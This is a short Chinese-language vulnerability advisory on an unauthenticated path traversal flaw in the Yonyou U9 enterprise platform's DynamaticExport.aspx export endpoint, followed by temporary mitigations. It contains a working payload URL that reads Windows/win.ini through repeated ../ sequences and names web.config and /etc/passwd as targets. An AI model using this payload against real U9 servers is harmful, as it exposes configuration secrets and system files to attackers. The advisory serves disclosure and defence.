漏洞描述：

　　用友U9秉承互联网基因，是全球第一款基于SOA云架构的多组织企业互联网应用平台。它聚焦中型和中大型制造企业，全面支持业财税档一体化、设计制造一体化、计划执行一体化、营销服务一体化、项目制造一体化等数智制造场景，赋能组织变革和商业创新，融合产业互联网资源实现连接、共享、协同，助力制造企业高质量发展。

　　用友 U9 系统中的 DynamaticExport.aspx 接口在处理导出请求时，未对文件路径参数进行严格校验或过滤，导致攻击者可以通过构造恶意请求，读取服务器任意路径下的敏感文件，如 web.config、C:\Windows\win.ini、/etc/passwd 等，最终可能造成信息泄露、辅助后续攻击。

漏洞复现：

利用条件：

• 目标部署了 U9 系统

• DynamaticExport.aspx 接口对外可访问

• 无需登录或权限校验

该产品打开页面如下：

 然后通过get抓包，构造payload： /print/DynamaticExport.aspx?filePath=../../../../../../../../../../../../Windows/win.ini 

完整的数据包提交如下图：

 返回以上数据表示漏洞存在。

临时缓解方案：

1. WAF 拦截关键请求：拦截 URL 中包含 DynamaticExport.aspx 且带有 ../ 或类似路径遍历符号的请求。

2. 禁止对外暴露该接口：如果该接口不是业务必须对外公开，在防火墙或 nginx 层对其访问进行限制

3. 添加路径白名单验证